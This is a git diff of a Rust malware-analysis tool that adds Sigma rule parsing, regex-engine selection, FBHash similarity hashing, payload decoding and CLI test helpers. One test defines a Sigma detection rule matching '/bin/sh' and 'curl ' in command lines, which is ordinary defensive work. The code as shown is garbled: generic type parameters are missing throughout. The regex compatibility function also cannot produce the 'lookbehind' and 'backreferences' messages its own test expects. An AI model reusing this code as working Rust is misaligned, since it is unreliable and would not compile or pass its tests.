a/src/precursor/regex_engine.rs b/src/precursor/regex_engine.rs new file mode 100644 index 0000000..1a39b89 --- /dev/null +++ b/src/precursor/regex_engine.rs @@ -0,0 +1,84 @@ +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub enum RegexEngine { + Pcre2, + Vectorscan, +} + +impl RegexEngine { + pub fn from_str(value: &str) -> Result { + match value { + "pcre2" => Ok(Self::Pcre2), + "vectorscan" => Ok(Self::Vectorscan), + _ => Err(format!("Unsupported regex engine '{}'", value)), + } + } + + pub fn as_str(&self) -> &'static str { + match self { + Self::Pcre2 => "pcre2", + Self::Vectorscan => "vectorscan", + } + } +} + +pub fn vectorscan_compatibility_issues(pattern: &str) -> Vec<&'static str> { + let mut issues = Vec::new(); + if pattern.contains("(?<=") || pattern.contains("(?") { + issues.push("atomic groups may be incompatible"); + } + if pattern.contains("(?(") { + issues.push("conditional expressions are not supported"); + } + if pattern.contains("(?C") { + issues.push("callouts are not supported"); + } + issues +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn regex_engine_round_trip() { + assert_eq!( + RegexEngine::from_str("pcre2").expect("parse pcre2"), + RegexEngine::Pcre2 + ); + assert_eq!( + RegexEngine::from_str("vectorscan").expect("parse vectorscan"), + RegexEngine::Vectorscan + ); + assert_eq!( + RegexEngine::from_str("vectorscan") + .expect("parse vectorscan") + .as_str(), + "vectorscan" + ); + } + + #[test] + fn vectorscan_compatibility_catches_unsupported_constructs() { + let issues = vectorscan_compatibility_issues(r"(?<=abc)(foo)\1"); + assert!(issues.iter().any(|issue| issue.contains("lookbehind"))); + assert!(issues.iter().any(|issue| issue.contains("backreferences"))); + } +} diff --git a/src/precursor/sigma.rs b/src/precursor/sigma.rs new file mode 100644 index 0000000..f8a0977 --- /dev/null +++ b/src/precursor/sigma.rs @@ -0,0 +1,728 @@ +use std::collections::{HashMap, HashSet}; +use std::path::Path; +use xxhash_rust::xxh3::xxh3_64; + +#[derive(Clone, Debug)] +pub struct SigmaPatternSpec { + pub regex: String, +} + +#[derive(Clone, Debug)] +pub struct SigmaRulePlan { + pub rule_name: String, + pub rule_slug: String, + pub condition: SigmaConditionExpr, + pub selector_capture_names: HashMap>, + pub pattern_specs: Vec, +} + +#[derive(Clone, Debug, Eq, PartialEq)] +pub enum SigmaConditionExpr { + Selector(String), + CountOf { + quantifier: SigmaCountQuantifier, + target: String, + }, + Not(Box), + And(Box, Box), + Or(Box, Box), +} + +#[derive(Clone, Debug, Eq, PartialEq)] +pub enum SigmaCountQuantifier { + All, + AtLeast(usize), +} + +impl SigmaConditionExpr { + pub fn evaluate(&self, selector_hits: &HashMap) -> bool { + match self { + SigmaConditionExpr::Selector(selector) => { + selector_hits.get(selector).copied().unwrap_or(false) + } + SigmaConditionExpr::CountOf { quantifier, target } => { + let matched_selectors = matching_selectors(selector_hits, target); + if matched_selectors.is_empty() { + return false; + } + let hit_count = matched_selectors + .iter() + .filter(|selector| selector_hits.get::(selector).copied().unwrap_or(false)) + .count(); + match quantifier { + SigmaCountQuantifier::All => hit_count == matched_selectors.len(), + SigmaCountQuantifier::AtLeast(minimum) => hit_count >= *minimum, + } + } + SigmaConditionExpr::Not(inner) => !inner.evaluate(selector_hits), + SigmaConditionExpr::And(left, right) => { + left.evaluate(selector_hits) && right.evaluate(selector_hits) + } + SigmaConditionExpr::Or(left, right) => { + left.evaluate(selector_hits) || right.evaluate(selector_hits) + } + } + } +} + +pub fn load_sigma_rule_plan(rule_path: &Path) -> Result { + let yaml_raw = std::fs::read_to_string(rule_path).map_err(|err| { + format!( + "unable to read Sigma rule file {}: {}", + rule_path.display(), + err + ) + })?; + + let mut rule_name = rule_path + .file_stem() + .map(|value| value.to_string_lossy().to_string()) + .unwrap_or_else(|| "sigma_rule".to_string()); + let mut rule_id = rule_name.to_string(); + + let mut in_detection = false; + let mut detection_indent = 0usize; + let mut current_selector: Option = None; + let mut current_field: Option = None; + let mut condition_raw = "1 of them".to_string(); + + let mut capture_index: HashMap = HashMap::new(); + let mut selector_capture_names: HashMap> = HashMap::new(); + let mut pattern_specs = Vec::new(); + + for raw_line in yaml_raw.lines() { + let line = raw_line.trim_end(); + let trimmed = line.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + continue; + } + let indent = yaml_leading_space_count(line); + + if !in_detection { + if indent == 0 { + if let Some(rest) = parse_mapping_line(trimmed, "title") { + rule_name = strip_yaml_quotes(rest).to_string(); + } else if let Some(rest) = parse_mapping_line(trimmed, "id") { + rule_id = strip_yaml_quotes(rest).to_string(); + } else if trimmed == "detection:" { + in_detection = true; + detection_indent = indent; + } + } + continue; + } + + if indent <= detection_indent { + break; + } + + if let Some(rest) = parse_mapping_line(trimmed, "condition") { + condition_raw = strip_yaml_quotes(rest).to_string(); + current_selector = None; + current_field = None; + continue; + } + + if indent == detection_indent + 2 && !trimmed.starts_with('-') { + if trimmed.ends_with(':') { + current_selector = Some(trimmed.trim_end_matches(':').trim().to_string()); + current_field = None; + continue; + } + if let Some((selector, inline_value)) = split_yaml_key_value(trimmed) { + current_selector = Some(selector.to_string()); + current_field = None; + if !inline_value.is_empty() { + let Some(selector_name) = current_selector.as_deref() else { + continue; + }; + add_sigma_patterns( + selector_name, + None, + &[], + vec![strip_yaml_quotes(inline_value).to_string()], + &mut capture_index, + &mut selector_capture_names, + &mut pattern_specs, + rule_id.as_str(), + ); + } + continue; + } + } + + if !trimmed.starts_with('-') { + if trimmed.ends_with(':') { + current_field = Some(trimmed.trim_end_matches(':').trim().to_string()); + continue; + } + if let Some((field, inline_value)) = split_yaml_key_value(trimmed) { + current_field = Some(field.to_string()); + if !inline_value.is_empty() { + let Some(selector_name) = current_selector.as_deref() else { + continue; + }; + let field_name = current_field.as_deref(); + let (field_base, modifiers) = parse_field_modifiers(field_name); + add_sigma_patterns( + selector_name, + field_base, + modifiers.as_slice(), + vec![strip_yaml_quotes(inline_value).to_string()], + &mut capture_index, + &mut selector_capture_names, + &mut pattern_specs, + rule_id.as_str(), + ); + } + continue; + } + continue; + } + + let value_text = strip_yaml_quotes(trimmed.trim_start_matches('-').trim()).to_string(); + if value_text.is_empty() { + continue; + } + let Some(selector_name) = current_selector.as_deref() else { + continue; + }; + let field_name = current_field.as_deref(); + let (field_base, modifiers) = parse_field_modifiers(field_name); + add_sigma_patterns( + selector_name, + field_base, + modifiers.as_slice(), + vec![value_text], + &mut capture_index, + &mut selector_capture_names, + &mut pattern_specs, + rule_id.as_str(), + ); + } + + if !in_detection { + return Err(format!( + "Sigma rule {} is missing a detection block", + rule_path.display() + )); + } + if pattern_specs.is_empty() { + return Err(format!( + "Sigma rule {} did not yield any keyword patterns", + rule_path.display() + )); + } + + let condition = parse_sigma_condition(condition_raw.as_str()).map_err(|err| { + format!( + "unable to parse condition in Sigma rule {}: {}", + rule_path.display(), + err + ) + })?; + + Ok(SigmaRulePlan { + rule_name, + rule_slug: sanitize_capture_name(rule_id.as_str()), + condition, + selector_capture_names, + pattern_specs, + }) +} + +pub fn matching_sigma_rules<'a>( + rule_plans: &'a [SigmaRulePlan], + matched_tags: &[String], +) -> Vec<&'a SigmaRulePlan> { + if rule_plans.is_empty() || matched_tags.is_empty() { + return Vec::new(); + } + let matched_set: HashSet<&str> = matched_tags.iter().map(String::as_str).collect(); + let mut hits = Vec::new(); + for rule in rule_plans { + let selector_hits = selector_hits_for_rule(rule, &matched_set); + if rule.condition.evaluate(&selector_hits) { + hits.push(rule); + } + } + hits +} + +fn selector_hits_for_rule( + rule: &SigmaRulePlan, + matched_tags: &HashSet<&str>, +) -> HashMap { + let mut selector_hits = HashMap::new(); + for (selector_name, capture_names) in &rule.selector_capture_names { + let hit = capture_names + .iter() + .any(|capture_name| matched_tags.contains(capture_name.as_str())); + selector_hits.insert(selector_name.to_string(), hit); + } + selector_hits +} + +fn parse_mapping_line<'a>(line: &'a str, key: &str) -> Option<&'a str> { + let prefix = format!("{}:", key); + if line.starts_with(prefix.as_str()) { + Some(line[prefix.len()..].trim()) + } else { + None + } +} + +fn split_yaml_key_value(line: &str) -> Option<(&str, &str)> { + let (left, right) = line.split_once(':')?; + Some((left.trim(), right.trim())) +} + +fn parse_field_modifiers(field_name: Option<&str>) -> (Option<&str>, Vec<&str>) { + let Some(field_name) = field_name else { + return (None, Vec::new()); + }; + let mut parts = field_name.split('|'); + let field_base = parts.next(); + let modifiers = parts.collect::>(); + (field_base, modifiers) +} + +#[allow(clippy::too_many_arguments)] +fn add_sigma_patterns( + selector_name: &str, + field_name: Option<&str>, + modifiers: &[&str], + values: Vec, + capture_index: &mut HashMap, + selector_capture_names: &mut HashMap>, + pattern_specs: &mut Vec, + rule_id: &str, +) { + let rule_slug = sanitize_capture_name(rule_id); + for value in values { + let stem = if let Some(field) = field_name { + format!( + "{}_{}", + sanitize_capture_name(selector_name), + sanitize_capture_name(field) + ) + } else { + sanitize_capture_name(selector_name) + }; + let entry = capture_index.entry(stem.clone()).or_insert(0); + let capture_name = sigma_capture_name(rule_slug.as_str(), stem.as_str(), *entry); + *entry += 1; + let rendered = sigma_value_to_pcre(value.as_str(), modifiers); + let regex = format!("(?<{}>{})", capture_name, rendered); + selector_capture_names + .entry(selector_name.to_string()) + .or_default() + .push(capture_name.clone()); + pattern_specs.push(SigmaPatternSpec { regex }); + } +} + +fn yaml_leading_space_count(line: &str) -> usize { + line.chars().take_while(|ch| *ch == ' ').count() +} + +fn strip_yaml_quotes(value: &str) -> &str { + let trimmed = value.trim(); + if trimmed.len() < 2 { + return trimmed; + } + let first = trimmed.chars().next().unwrap_or_default(); + let last = trimmed.chars().last().unwrap_or_default(); + if (first == '\'' && last == '\'') || (first == '"' && last == '"') { + &trimmed[1..trimmed.len() - 1] + } else { + trimmed + } +} + +fn sanitize_capture_name(input: &str) -> String { + let mut out = String::new(); + for ch in input.chars() { + if ch.is_ascii_alphanumeric() { + out.push(ch.to_ascii_lowercase()); + } else { + out.push('_'); + } + } + let out = out.trim_matches('_').to_string(); + if out.is_empty() { + "sigma_match".to_string() + } else if out + .chars() + .next() + .map(|ch| ch.is_ascii_digit()) + .unwrap_or(false) + { + format!("sigma_{}", out) + } else { + out + } +} + +fn sigma_capture_name(rule_slug: &str, stem: &str, ordinal: usize) -> String { + // Some PCRE2 builds enforce 32 code units for named captures (notably on Windows). + // Use a deterministic compact name so Sigma-generated patterns are portable. + const PCRE2_CAPTURE_NAME_MAX: usize = 32; + let digest = xxh3_64(format!("{}:{}:{}", rule_slug, stem, ordinal).as_bytes()); + let mut name = format!("sigma_{:016x}_{}", digest, ordinal); + if name.len() > PCRE2_CAPTURE_NAME_MAX { + name = format!("sigma_{:016x}", digest); + } + name +} + +fn sigma_escape_literal(input: &str) -> String { + let mut escaped = String::new(); + for ch in input.chars() { + match ch { + '\\' | '.' | '+' | '^' | '$' | '{' | '}' | '(' | ')' | '[' | ']' | '|' => { + escaped.push('\\'); + escaped.push(ch); + } + '*' => escaped.push_str(".*"), + '?' => escaped.push('.'), + _ => escaped.push(ch), + } + } + escaped +} + +fn sigma_value_to_pcre(value: &str, modifiers: &[&str]) -> String { + if modifiers.iter().any(|modifier| *modifier == "re") { + return value.to_string(); + } + let wildcard_present = value.contains('*') || value.contains('?'); + let escaped = sigma_escape_literal(value); + + if modifiers.iter().any(|modifier| *modifier == "contains") && !wildcard_present { + format!(".*{}.*", escaped) + } else if modifiers.iter().any(|modifier| *modifier == "startswith") && !wildcard_present { + format!("{}.*", escaped) + } else if modifiers.iter().any(|modifier| *modifier == "endswith") && !wildcard_present { + format!(".*{}", escaped) + } else { + escaped + } +} + +fn matching_selectors<'a>(selector_hits: &'a HashMap, target: &str) -> Vec<&'a str> { + if target.eq_ignore_ascii_case("them") { + return selector_hits.keys().map(|key| key.as_str()).collect(); + } + selector_hits + .keys() + .filter_map(|selector| { + if wildcard_match(target, selector.as_str()) { + Some(selector.as_str()) + } else { + None + } + }) + .collect() +} + +fn wildcard_match(pattern: &str, candidate: &str) -> bool { + if pattern == "*" { + return true; + } + if !pattern.contains('*') { + return pattern == candidate; + } + let parts: Vec<&str> = pattern.split('*').collect(); + let mut cursor = 0usize; + for (idx, part) in parts.iter().enumerate() { + if part.is_empty() { + continue; + } + if idx == 0 && !pattern.starts_with('*') { + if !candidate[cursor..].starts_with(part) { + return false; + } + cursor += part.len(); + continue; + } + if idx == parts.len() - 1 && !pattern.ends_with('*') { + return candidate[cursor..].ends_with(part); + } + if let Some(found) = candidate[cursor..].find(part) { + cursor += found + part.len(); + } else { + return false; + } + } + true +} + +#[derive(Clone, Debug, Eq, PartialEq)] +enum ConditionToken { + LParen, + RParen, + And, + Or, + Not, + All, + Of, + Them, + Number(usize), + Ident(String), +} + +fn tokenize_condition(expression: &str) -> Result, String> { + let mut out = Vec::new(); + let chars: Vec = expression.chars().collect(); + let mut idx = 0usize; + while idx < chars.len() { + let ch = chars[idx]; + if ch.is_whitespace() { + idx += 1; + continue; + } + if ch == '(' { + out.push(ConditionToken::LParen); + idx += 1; + continue; + } + if ch == ')' { + out.push(ConditionToken::RParen); + idx += 1; + continue; + } + if ch.is_ascii_digit() { + let start = idx; + idx += 1; + while idx < chars.len() && chars[idx].is_ascii_digit() { + idx += 1; + } + let parsed: String = chars[start..idx].iter().collect(); + let parsed = parsed + .parse::() + .map_err(|err| format!("invalid numeric token '{}': {}", parsed, err))?; + out.push(ConditionToken::Number(parsed)); + continue; + } + if ch.is_ascii_alphanumeric() || ch == '_' || ch == '*' || ch == '-' || ch == '.' { + let start = idx; + idx += 1; + while idx < chars.len() + && (chars[idx].is_ascii_alphanumeric() + || chars[idx] == '_' + || chars[idx] == '*' + || chars[idx] == '-' + || chars[idx] == '.') + { + idx += 1; + } + let token: String = chars[start..idx].iter().collect(); + let lowered = token.to_ascii_lowercase(); + let keyword = match lowered.as_str() { + "and" => Some(ConditionToken::And), + "or" => Some(ConditionToken::Or), + "not" => Some(ConditionToken::Not), + "all" => Some(ConditionToken::All), + "of" => Some(ConditionToken::Of), + "them" => Some(ConditionToken::Them), + _ => None, + }; + out.push(keyword.unwrap_or(ConditionToken::Ident(token))); + continue; + } + return Err(format!("unsupported token '{}' in condition", ch)); + } + Ok(out) +} + +pub fn parse_sigma_condition(expression: &str) -> Result { + let tokens = tokenize_condition(expression)?; + let mut parser = ConditionParser { tokens, index: 0 }; + let expr = parser.parse_or()?; + if parser.index < parser.tokens.len() { + return Err("unexpected trailing tokens".to_string()); + } + Ok(expr) +} + +struct ConditionParser { + tokens: Vec, + index: usize, +} + +impl ConditionParser { + fn current(&self) -> Option<&ConditionToken> { + self.tokens.get(self.index) + } + + fn advance(&mut self) { + self.index += 1; + } + + fn parse_or(&mut self) -> Result { + let mut node = self.parse_and()?; + while matches!(self.current(), Some(ConditionToken::Or)) { + self.advance(); + let right = self.parse_and()?; + node = SigmaConditionExpr::Or(Box::new(node), Box::new(right)); + } + Ok(node) + } + + fn parse_and(&mut self) -> Result { + let mut node = self.parse_unary()?; + while matches!(self.current(), Some(ConditionToken::And)) { + self.advance(); + let right = self.parse_unary()?; + node = SigmaConditionExpr::And(Box::new(node), Box::new(right)); + } + Ok(node) + } + + fn parse_unary(&mut self) -> Result { + if matches!(self.current(), Some(ConditionToken::Not)) { + self.advance(); + let inner = self.parse_unary()?; + return Ok(SigmaConditionExpr::Not(Box::new(inner))); + } + self.parse_primary() + } + + fn parse_primary(&mut self) -> Result { + match self.current() { + Some(ConditionToken::LParen) => { + self.advance(); + let expr = self.parse_or()?; + if !matches!(self.current(), Some(ConditionToken::RParen)) { + return Err("expected ')'".to_string()); + } + self.advance(); + Ok(expr) + } + Some(ConditionToken::All) => { + self.advance(); + self.parse_count_of(SigmaCountQuantifier::All) + } + Some(ConditionToken::Number(value)) => { + let value = *value; + self.advance(); + self.parse_count_of(SigmaCountQuantifier::AtLeast(value)) + } + Some(ConditionToken::Ident(selector)) => { + let selector = selector.to_string(); + self.advance(); + Ok(SigmaConditionExpr::Selector(selector)) + } + _ => Err("unexpected token in condition".to_string()), + } + } + + fn parse_count_of( + &mut self, + quantifier: SigmaCountQuantifier, + ) -> Result { + if !matches!(self.current(), Some(ConditionToken::Of)) { + return Err("expected 'of'".to_string()); + } + self.advance(); + let target = match self.current() { + Some(ConditionToken::Them) => "them".to_string(), + Some(ConditionToken::Ident(value)) => value.to_string(), + _ => return Err("expected selector name or 'them' after 'of'".to_string()), + }; + self.advance(); + Ok(SigmaConditionExpr::CountOf { quantifier, target }) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::fs::File; + use std::io::Write; + use std::path::PathBuf; + use std::time::{SystemTime, UNIX_EPOCH}; + + struct TempFileGuard { + path: PathBuf, + } + + impl Drop for TempFileGuard { + fn drop(&mut self) { + let _ = std::fs::remove_file(&self.path); + } + } + + fn temp_rule_path(stem: &str) -> (PathBuf, TempFileGuard) { + let nanos = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("clock") + .as_nanos(); + let path = + std::env::temp_dir().join(format!("{}-{}-{}.yml", stem, std::process::id(), nanos)); + let guard = TempFileGuard { + path: path.to_path_buf(), + }; + (path, guard) + } + + #[test] + fn parse_and_evaluate_basic_condition() { + let expr = parse_sigma_condition("keywords and not filter").expect("parse condition"); + let mut selector_hits = HashMap::new(); + selector_hits.insert("keywords".to_string(), true); + selector_hits.insert("filter".to_string(), false); + assert!(expr.evaluate(&selector_hits)); + } + + #[test] + fn parse_count_of_selector_glob() { + let expr = parse_sigma_condition("1 of selection*").expect("parse condition"); + let mut selector_hits = HashMap::new(); + selector_hits.insert("selection_a".to_string(), false); + selector_hits.insert("selection_b".to_string(), true); + assert!(expr.evaluate(&selector_hits)); + } + + #[test] + fn load_rule_plan_and_condition_match() { + let (path, _guard) = temp_rule_path("precursor-sigma-condition"); + let mut file = File::create(&path).expect("create temp sigma file"); + let yaml = r#"title: Sigma Condition Test +id: sigma-condition-test +detection: + selection_cmd: + CommandLine|contains: + - '/bin/sh' + selection_fetch: + CommandLine|contains: + - 'curl ' + condition: selection_cmd and selection_fetch +"#; + file.write_all(yaml.as_bytes()).expect("write sigma rule"); + let plan = load_sigma_rule_plan(path.as_path()).expect("load rule plan"); + assert_eq!(plan.rule_slug, "sigma_condition_test"); + assert_eq!(plan.pattern_specs.len(), 2); + let matched = plan + .selector_capture_names + .values() + .flat_map(|captures| captures.iter().cloned()) + .collect::>(); + assert!(matched.iter().all(|capture_name| capture_name.len() <= 32)); + let plans = [plan]; + let hits = matching_sigma_rules(&plans, &matched); + assert_eq!(hits.len(), 1); + } + + #[test] + fn sigma_capture_name_respects_portable_pcre2_limit() { + let capture_name = sigma_capture_name( + "sigma_condition_filter_test", + "selection_fetch_commandline", + 123_456_789, + ); + assert!(capture_name.starts_with("sigma_")); + assert!(capture_name.len() <= 32); + } +} diff --git a/src/precursor/similarity.rs b/src/precursor/similarity.rs index bd9b7f6..3958e8a 100644 --- a/src/precursor/similarity.rs +++ b/src/precursor/similarity.rs @@ -1,3 +1,4 @@ +use crate::precursor::fbhash::{calculate_fbhash, FbHash}; use crate::precursor::lzjd::{calculate_lzjd_hash, LzjdHash}; use crate::precursor::mrshv2::{calculate_mrshv2_hash, diff_mrshv2_hash, Mrshv2Hash}; use crate::precursor::tlsh::{calculate_tlsh_hash, TlshHashInstance}; @@ -40,6 +41,7 @@ pub enum SimilarityHash { Tlsh(TlshHashInstance), Lzjd(LzjdHash), Mrshv2(Mrshv2Hash), + FbHash(FbHash), } impl SimilarityHash { @@ -49,6 +51,7 @@ impl SimilarityHash { .map_err(|err| SimilarityError::new(format!("Invalid TLSH hash UTF-8: {}", err))), SimilarityHash::Lzjd(hash) => Ok(hash.as_string()), SimilarityHash::Mrshv2(hash) => Ok(hash.as_string().to_string()), + SimilarityHash::FbHash(hash) => Ok(hash.as_string().to_string()), } } } @@ -87,9 +90,9 @@ pub fn calculate_similarity_hash( SimilarityMode::Mrshv2 => calculate_mrshv2_hash(payload) .map(SimilarityHash::Mrshv2) .map_err(SimilarityError::new), - SimilarityMode::FbHash => Err(SimilarityError::new( - "FBHash similarity mode is scaffolded but not implemented yet".to_string(), - )), + SimilarityMode::FbHash => calculate_fbhash(payload) + .map(SimilarityHash::FbHash) + .map_err(SimilarityError::new), } } @@ -111,6 +114,9 @@ pub fn diff_similarity_hash( diff_mrshv2_hash(left_hash, right_hash, include_file_length) .map_err(SimilarityError::new) } + (SimilarityHash::FbHash(left_hash), SimilarityHash::FbHash(right_hash)) => { + Ok(left_hash.diff(right_hash, include_file_length)) + } _ => Err(SimilarityError::new( "Incompatible similarity hash algorithm types".to_string(), )), @@ -147,4 +153,11 @@ mod tests { assert_eq!(mode, SimilarityMode::Mrshv2); assert_eq!(mode.as_str(), "mrshv2"); } + + #[test] + fn test_similarity_mode_fbhash_roundtrip() { + let mode = SimilarityMode::from_str("fbhash").expect("expected mode"); + assert_eq!(mode, SimilarityMode::FbHash); + assert_eq!(mode.as_str(), "fbhash"); + } } diff --git a/src/precursor/util.rs b/src/precursor/util.rs index a10a1ab..938b9bf 100644 --- a/src/precursor/util.rs +++ b/src/precursor/util.rs @@ -14,6 +14,19 @@ pub fn remove_wrapped_quotes(input: &str) -> &str { .trim_end_matches(|c| c == '"' || c == '\'') } +fn remove_wrapped_quotes_bytes(input: &[u8]) -> &[u8] { + if input.len() < 2 { + return input; + } + let first = input[0]; + let last = input[input.len() - 1]; + if (first == b'"' && last == b'"') || (first == b'\'' && last == b'\'') { + &input[1..input.len() - 1] + } else { + input + } +} + pub fn get_payload(line: &str, input_mode: &str) -> Result, String> { let line_with_no_wrapped_quotes = remove_wrapped_quotes(line); match input_mode { @@ -21,12 +34,35 @@ pub fn get_payload(line: &str, input_mode: &str) -> Result, String> { .decode(line_with_no_wrapped_quotes) .map_err(|err| format!("invalid base64 payload: {}", err)), "string" => Ok(line_with_no_wrapped_quotes.as_bytes().to_vec()), + "binary" => Ok(line.as_bytes().to_vec()), "hex" => hex::decode(line_with_no_wrapped_quotes) .map_err(|err| format!("invalid hex payload: {}", err)), _ => Err(format!("{} not a supported input mode.", input_mode)), } } +pub fn get_payload_from_blob(blob: &[u8], input_mode: &str) -> Result, String> { + match input_mode { + "string" | "binary" => Ok(blob.to_vec()), + "base64" | "hex" => { + let normalized: Vec = blob + .iter() + .copied() + .filter(|byte| !byte.is_ascii_whitespace()) + .collect(); + let normalized = remove_wrapped_quotes_bytes(normalized.as_slice()); + if input_mode == "base64" { + STANDARD + .decode(normalized) + .map_err(|err| format!("invalid base64 payload: {}", err)) + } else { + hex::decode(normalized).map_err(|err| format!("invalid hex payload: {}", err)) + } + } + _ => Err(format!("{} not a supported input mode.", input_mode)), + } +} + pub fn format_size(size: i64) -> String { const KILOBYTE: i64 = 1024; const MEGABYTE: i64 = KILOBYTE * 1024; @@ -72,9 +108,32 @@ mod tests { use super::*; use std::fs::File; use std::io::Write; - use std::path::Path; + use std::path::PathBuf; + use std::time::{SystemTime, UNIX_EPOCH}; + + struct TempFileGuard { + path: PathBuf, + } + + impl Drop for TempFileGuard { + fn drop(&mut self) { + let _ = std::fs::remove_file(&self.path); + } + } + + fn temp_file_path(stem: &str) -> (PathBuf, TempFileGuard) { + let nanos = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("clock") + .as_nanos(); + let path = + std::env::temp_dir().join(format!("{}-{}-{}.txt", stem, std::process::id(), nanos)); + let guard = TempFileGuard { + path: path.to_path_buf(), + }; + (path, guard) + } - // Test for `xxh3_64_hex` function #[test] fn test_xxh3_64_hex() { let input = b"Hello, world!"; @@ -83,66 +142,84 @@ mod tests { assert_eq!(hex, format!("{:x}", hash)); } - // Test for `remove_wrapped_quotes` function #[test] fn test_remove_wrapped_quotes() { - // String with no quotes assert_eq!(remove_wrapped_quotes("Hello"), "Hello"); - - // String with double quotes at the start and end assert_eq!(remove_wrapped_quotes("\"Hello\""), "Hello"); - - // String with single quotes at the start and end assert_eq!(remove_wrapped_quotes("'Hello'"), "Hello"); } - // Test for `get_payload` function #[test] fn test_get_payload() { assert_eq!( - get_payload("aGVsbG8=", "base64").unwrap(), + get_payload("aGVsbG8=", "base64").expect("decode base64"), + b"hello".to_vec() + ); + assert_eq!( + get_payload("hello", "string").expect("decode string"), + b"hello".to_vec() + ); + assert_eq!( + get_payload("68656c6c6f", "hex").expect("decode hex"), + b"hello".to_vec() + ); + assert_eq!( + get_payload("hello", "binary").expect("decode binary"), b"hello".to_vec() ); - assert_eq!(get_payload("hello", "string").unwrap(), b"hello".to_vec()); - assert_eq!(get_payload("68656c6c6f", "hex").unwrap(), b"hello".to_vec()); let result = get_payload("hello", "invalid_mode"); assert!(result.is_err()); } - // Test for `format_size` function + #[test] + fn test_get_payload_from_blob() { + assert_eq!( + get_payload_from_blob(b"\"aGVs bG8=\"\n", "base64").expect("decode blob base64"), + b"hello".to_vec() + ); + assert_eq!( + get_payload_from_blob(b"'68 65 6c 6c 6f'\r\n", "hex").expect("decode blob hex"), + b"hello".to_vec() + ); + let binary = vec![0x7f, b'E', b'L', b'F', 0x00, 0x01]; + assert_eq!( + get_payload_from_blob(binary.as_slice(), "binary").expect("decode blob binary"), + binary + ); + } + + #[test] + fn test_get_payload_from_blob_errors_are_decode_not_utf8() { + let err = get_payload_from_blob(b"6865fg", "hex").expect_err("expect bad hex"); + assert!(err.contains("invalid hex payload")); + assert!(!err.contains("UTF-8")); + } + #[test] fn test_format_size() { - assert_eq!(format_size(500), "500B"); // Exact bytes - assert_eq!(format_size(1023), "1023B"); // Edge case for bytes to KB - assert_eq!(format_size(1024), "1.00KB"); // Edge case for exact KB - assert_eq!(format_size(1536), "1.50KB"); // Middle case for KB - assert_eq!(format_size(1048576), "1.00MB"); // Exact MB - assert_eq!(format_size(1572864), "1.50MB"); // Middle case for MB - assert_eq!(format_size(1073741824), "1.00GB"); // Exact GB - assert_eq!(format_size(1610612736), "1.50GB"); // Middle case for GB - assert_eq!(format_size(1099511627776), "1.00TB"); // Exact TB - assert_eq!(format_size(1649267441664), "1.50TB"); // Middle case for TB - } - - // Test for `read_patterns` function - // Note: This requires a real or mocked file system + assert_eq!(format_size(500), "500B"); + assert_eq!(format_size(1023), "1023B"); + assert_eq!(format_size(1024), "1.00KB"); + assert_eq!(format_size(1536), "1.50KB"); + assert_eq!(format_size(1048576), "1.00MB"); + assert_eq!(format_size(1572864), "1.50MB"); + assert_eq!(format_size(1073741824), "1.00GB"); + assert_eq!(format_size(1610612736), "1.50GB"); + assert_eq!(format_size(1099511627776), "1.00TB"); + assert_eq!(format_size(1649267441664), "1.50TB"); + } + #[test] fn test_read_patterns() { - // Setup: Create a temporary file with some patterns - let temp_file_path = Path::new("temp_patterns.txt"); - let mut temp_file = File::create(&temp_file_path).expect("Failed to create temp file"); - writeln!(temp_file, "pattern1\npattern2").expect("Failed to write to temp file"); + let (path, _guard) = temp_file_path("precursor-patterns"); + let mut file = File::create(&path).expect("create temp patterns file"); + write!(file, "pattern1\npattern2\n").expect("write patterns"); - // Test: Read patterns from the file - let patterns = read_patterns(Some(&temp_file_path.to_path_buf())).unwrap(); + let patterns = read_patterns(Some(&path)).expect("read patterns"); assert_eq!(patterns, vec!["pattern1", "pattern2"]); - - // Clean up: Remove the temporary file - std::fs::remove_file(temp_file_path).expect("Failed to delete temp file"); } - // Test for `build_regex` function #[test] fn test_build_regex() { assert!(build_regex("\\d+").is_ok()); diff --git a/tests/cli_contract.rs b/tests/cli_contract.rs index d5fd980..9284043 100644 --- a/tests/cli_contract.rs +++ b/tests/cli_contract.rs @@ -1,8 +1,48 @@ use serde_json::Value; use std::io::Write; +use std::path::PathBuf; use std::process::{Command, Output, Stdio}; +use std::time::{SystemTime, UNIX_EPOCH}; + +struct TempDirGuard { + path: PathBuf, +} + +impl Drop for TempDirGuard { + fn drop(&mut self) { + let _ = std::fs::remove_dir_all(&self.path); + } +} + +struct TempFileGuard { + path: PathBuf, +} + +impl Drop for TempFileGuard { + fn drop(&mut self) { + let _ = std::fs::remove_file(&self.path); + } +} + +fn unique_temp_path(stem: &str, suffix: &str) -> PathBuf { + let nanos = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("clock") + .as_nanos(); + std::env::temp_dir().join(format!( + "{}-{}-{}.{}", + stem, + std::process::id(), + nanos, + suffix + )) +} fn run_precursor(args: &[&str], stdin_payload: &str) -> Output { + run_precursor_bytes(args, stdin_payload.as_bytes()) +} + +fn run_precursor_bytes(args: &[&str], stdin_payload: &[u8]) -> Output { let mut cmd = Command::new(env!("CARGO_BIN_EXE_precursor")); cmd.args(args) .stdin(Stdio::piped()) @@ -11,7 +51,7 @@ fn run_precursor(args: &[&str], stdin_payload: &str) -> Output { let mut child = cmd.spawn().expect("failed to spawn precursor"); if let Some(stdin) = child.stdin.as_mut() { stdin - .write_all(stdin_payload.as_bytes()) + .write_all(stdin_payload) .expect("failed to write stdin"); } let output = child.wait_with_output().expect("failed to wait on process"); @@ -35,6 +75,27 @@ fn parse_ndjson(stdout: &[u8]) -> Vec { .collect() } +fn parse_stats_json(stderr: &[u8]) -> Value { + let stderr_text = String::from_utf8_lossy(stderr); + let marker = "\"---PRECURSOR_STATISTICS---\""; + let marker_idx = stderr_text + .find(marker) + .unwrap_or_else(|| panic!("expected stats marker in stderr, got: {}", stderr_text)); + let start = stderr_text[..marker_idx] + .rfind('{') + .unwrap_or_else(|| panic!("expected stats JSON start in stderr: {}", stderr_text)); + let end = stderr_text[marker_idx..] + .rfind('}') + .map(|offset| marker_idx + offset) + .unwrap_or_else(|| panic!("expected stats JSON end in stderr: {}", stderr_text)); + serde_json::from_str(&stderr_text[start..=end]).unwrap_or_else(|err| { + panic!( + "unable to parse stats JSON from stderr: {}\nraw:\n{}", + err, stderr_text + 